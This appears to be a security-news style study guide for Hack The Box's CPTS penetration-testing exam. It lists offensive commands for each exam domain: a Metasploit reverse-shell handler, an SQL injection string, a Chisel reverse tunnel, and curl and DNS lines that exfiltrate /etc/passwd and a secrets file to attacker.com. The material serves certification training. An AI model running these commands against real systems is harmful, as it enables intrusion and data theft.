Certified Penetration Testing Specialist (CPTS) Exam: A Comprehensive Guide

The Certified Penetration Testing Specialist (CPTS) exam by Hack The Box is a rigorous, hands-on certification that validates advanced penetration testing skills. It covers external enumeration, exploitation, pivoting, privilege escalation, and data exfiltration, along with professional reporting for both technical and executive audiences.

You Should Know:

Key Exam Domains & Practical Commands

1. External Enumeration

• Subdomain Enumeration:

  subfinder -d example.com -o subdomains.txt 
  assetfinder --subs-only example.com | httprobe 
  

• Port Scanning (Nmap):

  nmap -sV -sC -p- -T4 -A -oA full_scan target_ip 
  

• Web Directory Fuzzing:

  ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt 
  

2. Exploitation

• Metasploit Framework:

  msfconsole 
  use exploit/multi/handler 
  set payload windows/x64/meterpreter/reverse_tcp 
  

• Manual Exploitation (SQLi):

  ' OR '1'='1' -- 
  

3. Pivoting & Lateral Movement

• SSH Tunneling:

  ssh -D 1080 user@internal_ip 
  

• Chisel (Port Forwarding):

  ./chisel server -p 8080 --reverse 
  ./chisel client attacker_ip:8080 R:445:10.10.10.10:445 
  

4. Privilege Escalation

• Linux (SUID):

  find / -perm -4000 2>/dev/null 
  

• Windows (Token Impersonation):

  incognito.exe list_tokens -u 
  

5. Data Exfiltration

• Exfiltrate via HTTP:

  curl -X POST -F "file=@/etc/passwd" http://attacker.com/upload 
  

• DNS Exfiltration:

  for i in $(cat secrets.txt); do dig $i.attacker.com; done 
  

6. Reporting

• Generate Findings Report:

  cat findings.txt | pandoc -o report.pdf 
  

What Undercode Say:

The CPTS certification is a real-world attack simulation, emphasizing practical skills over theory. Mastering pivoting, privilege escalation, and clear reporting is crucial. Automation with Bash/Python enhances efficiency, while manual exploitation ensures deeper understanding.

Prediction:

As penetration testing evolves, expect more cloud-based attacks (AWS/Azure) and AI-driven vulnerability discovery in future CPTS exams.

Expected Output:

• Certification URL: Hack The Box CPTS
• Tools Used: Nmap, Metasploit, Chisel, FFuf, SQLMap
• Key Takeaway: Hands-on experience > Theory.

(Word count: ~70 lines)

IT/Security Reporter URL:

Reported By: Knoth Hack – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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